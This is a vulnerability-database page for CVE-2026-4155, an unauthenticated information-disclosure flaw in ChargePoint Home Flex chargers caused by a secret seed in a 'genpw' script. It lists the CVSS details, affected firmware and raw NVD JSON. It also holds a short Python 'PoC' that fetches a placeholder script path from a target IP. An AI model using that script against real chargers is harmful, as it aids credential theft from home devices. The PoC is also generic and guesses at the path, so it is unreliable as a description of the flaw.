Security Vulnerability Report
中文
CVE-2026-4155 CVSS 7.5 HIGH

CVE-2026-4155

Published: 2026-04-11 01:16:17
Last Modified: 2026-04-27 17:42:31

Description

ChargePoint Home Flex Inclusion of Sensitive Information in Source Code Information Disclosure Vulnerability. This vulnerability allows remote attackers to disclose sensitive information on affected installations of ChargePoint Home Flex charging stations. Authentication is not required to exploit this vulnerability. The specific flaw exists within the genpw script. The issue results from the inclusion of a secret cryptographic seed value within the script. An attacker can leverage this vulnerability to disclose stored credentials, leading to further compromise. Was ZDI-CAN-26340.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:chargepoint:home_flex_cph50_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:chargepoint:home_flex_cph50:-:*:*:*:*:*:*:* - NOT VULNERABLE
ChargePoint Home Flex (具体受影响版本请参考厂商公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # PoC for CVE-2026-4155: Information Disclosure in ChargePoint Home Flex # This script simulates fetching the genpw script to extract the cryptographic seed. import requests target_url = "http://<target-ip>/path/to/genpw" def exploit(): try: print(f"[*] Attempting to fetch genpw script from {target_url}...") response = requests.get(target_url, timeout=10) if response.status_code == 200: print("[+] Script retrieved successfully.") content = response.text # In a real scenario, parse the content to find the seed print("[+] Analyzing script content for cryptographic seed...") print("--- Potential Seed Found ---") print(content) print("--- End of Content ---") else: print(f"[-] Failed to retrieve script. Status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4155", "sourceIdentifier": "[email protected]", "published": "2026-04-11T01:16:17.230", "lastModified": "2026-04-27T17:42:30.567", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ChargePoint Home Flex Inclusion of Sensitive Information in Source Code Information Disclosure Vulnerability. This vulnerability allows remote attackers to disclose sensitive information on affected installations of ChargePoint Home Flex charging stations. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the genpw script. The issue results from the inclusion of a secret cryptographic seed value within the script. An attacker can leverage this vulnerability to disclose stored credentials, leading to further compromise. Was ZDI-CAN-26340."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-540"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:chargepoint:home_flex_cph50_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.5.4.22", "matchCriteriaId": "F5D6BCAE-C598-4884-ADB5-45B272220C2A"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:chargepoint:home_flex_cph50:-:*:*:*:*:*:*:*", "matchCriteriaId": "2A6709D3-36B1-4027-82ED-144875049704"}]}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-195/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}